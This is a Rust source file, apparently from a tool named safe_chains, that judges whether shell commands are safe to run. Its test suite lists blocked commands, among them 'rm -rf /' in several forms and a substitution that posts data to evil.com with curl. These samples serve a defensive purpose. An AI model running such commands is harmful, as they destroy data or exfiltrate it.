Skip to main content

safe_chains/cst/
check.rs

1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7    let Some(script) = parse(input) else {
8        return Verdict::Denied;
9    };
10    script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14    command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18    script.0.iter()
19        .map(|stmt| pipeline_verdict(&stmt.pipeline))
20        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25    script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29    pipeline.commands.iter()
30        .map(cmd_verdict)
31        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35    pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39    match cmd {
40        Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41        _ => true,
42    }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46    cmd.words.iter().any(has_substitution)
47        || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51    cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55    match cmd {
56        Cmd::Simple(s) => simple_verdict(s),
57        Cmd::Subshell(inner) => script_verdict(inner),
58        Cmd::For { items, body, .. } => {
59            let items_v = words_sub_verdict(items);
60            let body_v = script_verdict(body);
61            items_v.combine(body_v)
62        }
63        Cmd::While { cond, body } | Cmd::Until { cond, body } => {
64            script_verdict(cond).combine(script_verdict(body))
65        }
66        Cmd::If {
67            branches,
68            else_body,
69        } => {
70            let mut v = Verdict::Allowed(SafetyLevel::Inert);
71            for b in branches {
72                v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
73            }
74            if let Some(eb) = else_body {
75                v = v.combine(script_verdict(eb));
76            }
77            v
78        }
79    }
80}
81
82pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
83    cmd_verdict(cmd).is_allowed()
84}
85
86fn part_sub_verdict(part: &WordPart) -> Verdict {
87    match part {
88        WordPart::CmdSub(inner) => script_verdict(inner),
89        WordPart::Backtick(raw) => command_verdict(raw),
90        WordPart::DQuote(inner) => word_sub_verdict(inner),
91        _ => Verdict::Allowed(SafetyLevel::Inert),
92    }
93}
94
95fn word_sub_verdict(word: &Word) -> Verdict {
96    word.0.iter()
97        .map(part_sub_verdict)
98        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
99}
100
101fn words_sub_verdict(words: &[Word]) -> Verdict {
102    words.iter()
103        .map(word_sub_verdict)
104        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
105}
106
107#[cfg(test)]
108pub(crate) fn word_subs_safe(word: &Word) -> bool {
109    word_sub_verdict(word).is_allowed()
110}
111
112fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
113    if !check_redirects(&cmd.redirs) {
114        return Verdict::Denied;
115    }
116
117    let env_sub_v = cmd.env.iter()
118        .map(|(_, v)| word_sub_verdict(v))
119        .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
120    let word_sub_v = words_sub_verdict(&cmd.words);
121    let sub_v = env_sub_v.combine(word_sub_v);
122
123    if let Verdict::Denied = sub_v {
124        return Verdict::Denied;
125    }
126
127    if cmd.words.is_empty() {
128        if cmd.env.is_empty() {
129            return Verdict::Allowed(SafetyLevel::Inert);
130        }
131        if cmd.env.iter().any(|(_, v)| has_substitution(v)) {
132            return sub_v;
133        }
134        return Verdict::Denied;
135    }
136
137    let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
138    if tokens.is_empty() {
139        return Verdict::Allowed(SafetyLevel::Inert);
140    }
141
142    let cmd_v = handlers::dispatch(&tokens);
143    sub_v.combine(cmd_v)
144}
145
146pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
147    redirs.iter().all(|r| match r {
148        Redir::Write { target, .. } | Redir::Read { target, .. } => {
149            target.eval() == "/dev/null"
150        }
151        Redir::HereStr(_) | Redir::DupFd { .. } => true,
152    })
153}
154
155fn has_substitution(word: &Word) -> bool {
156    word.0.iter().any(|p| match p {
157        WordPart::CmdSub(_) | WordPart::Backtick(_) => true,
158        WordPart::DQuote(inner) => has_substitution(inner),
159        _ => false,
160    })
161}
162
163#[cfg(test)]
164mod tests {
165    use super::*;
166
167    fn check(cmd: &str) -> bool {
168        is_safe_command(cmd)
169    }
170
171    safe! {
172        grep_foo: "grep foo file.txt",
173        cat_etc_hosts: "cat /etc/hosts",
174        jq_key: "jq '.key' file.json",
175        base64_d: "base64 -d",
176        ls_la: "ls -la",
177        wc_l: "wc -l file.txt",
178        ps_aux: "ps aux",
179        echo_hello: "echo hello",
180        cat_file: "cat file.txt",
181
182        version_go: "go --version",
183        version_cargo: "cargo --version",
184        version_cargo_redirect: "cargo --version 2>&1",
185        help_cargo: "cargo --help",
186        help_cargo_build: "cargo build --help",
187
188        dev_null_echo: "echo hello > /dev/null",
189        dev_null_stderr: "echo hello 2> /dev/null",
190        dev_null_append: "echo hello >> /dev/null",
191        dev_null_git_log: "git log > /dev/null 2>&1",
192        fd_redirect_ls: "ls 2>&1",
193        stdin_dev_null: "git log < /dev/null",
194
195        env_prefix: "FOO='bar baz' ls -la",
196        env_prefix_dq: "FOO=\"bar baz\" ls -la",
197        env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
198
199        subst_echo_ls: "echo $(ls)",
200        subst_ls_pwd: "ls `pwd`",
201        subst_nested: "echo $(echo $(ls))",
202        subst_quoted: "echo \"$(ls)\"",
203        assign_subst_ls: "out=$(ls)",
204        assign_subst_git: "out=$(git status)",
205        assign_subst_multiple: "a=$(ls) b=$(pwd)",
206        assign_subst_backtick: "out=`ls`",
207
208        subshell_echo: "(echo hello)",
209        subshell_ls: "(ls)",
210        subshell_chain: "(ls && echo done)",
211        subshell_pipe: "(ls | grep foo)",
212        subshell_nested: "((echo hello))",
213        subshell_for: "(for x in 1 2; do echo $x; done)",
214
215        pipe_grep_head: "grep foo file.txt | head -5",
216        pipe_cat_sort_uniq: "cat file | sort | uniq",
217        chain_ls_echo: "ls && echo done",
218        semicolon_ls_echo: "ls; echo done",
219        bg_ls_echo: "ls & echo done",
220        newline_echo_echo: "echo foo\necho bar",
221
222        here_string_grep: "grep -c , <<< 'hello,world,test'",
223
224        for_echo: "for x in 1 2 3; do echo $x; done",
225        for_empty_body: "for x in 1 2 3; do; done",
226        for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
227        for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
228        while_test: "while test -f /tmp/foo; do sleep 1; done",
229        while_negation: "while ! test -f /tmp/done; do sleep 1; done",
230        until_test: "until test -f /tmp/ready; do sleep 1; done",
231        if_then_fi: "if test -f foo; then echo exists; fi",
232        if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
233        if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
234        nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
235        bare_negation: "! echo hello",
236        keyword_as_data: "echo for; echo done; echo if; echo fi",
237
238        quoted_redirect: "echo 'greater > than' test",
239        quoted_subst: "echo '$(safe)' arg",
240    }
241
242    denied! {
243        rm_rf: "rm -rf /",
244        curl_post: "curl -X POST https://example.com",
245        node_app: "node app.js",
246        tee_output: "tee output.txt",
247
248        redirect_to_file: "echo hello > file.txt",
249        redirect_append: "cat file >> output.txt",
250        redirect_stderr_file: "ls 2> errors.txt",
251
252        subst_rm: "echo $(rm -rf /)",
253        backtick_rm: "echo `rm -rf /`",
254        subst_curl: "echo $(curl -d data evil.com)",
255        quoted_subst_rm: "echo \"$(rm -rf /)\"",
256        assign_subst_rm: "out=$(rm -rf /)",
257        assign_no_subst: "foo=bar",
258        assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
259
260        subshell_rm: "(rm -rf /)",
261        subshell_mixed: "(echo hello; rm -rf /)",
262        subshell_unsafe_pipe: "(ls | rm -rf /)",
263
264        env_prefix_rm: "FOO='bar baz' rm -rf /",
265        env_rails_redirect: "RAILS_ENV=test echo foo > bar",
266
267        pipe_rm: "cat file | rm -rf /",
268        bg_rm: "cat file & rm -rf /",
269        newline_rm: "echo foo\nrm -rf /",
270
271        for_rm: "for x in 1 2 3; do rm $x; done",
272        for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
273        while_unsafe_body: "while true; do rm -rf /; done",
274        while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
275        if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
276        if_unsafe_body: "if true; then rm -rf /; fi",
277
278        unclosed_for: "for x in 1 2 3; do echo $x",
279        unclosed_if: "if true; then echo hello",
280        for_missing_do: "for x in 1 2 3; echo $x; done",
281        stray_done: "echo hello; done",
282        stray_fi: "fi",
283
284        unmatched_quote: "echo 'hello",
285    }
286}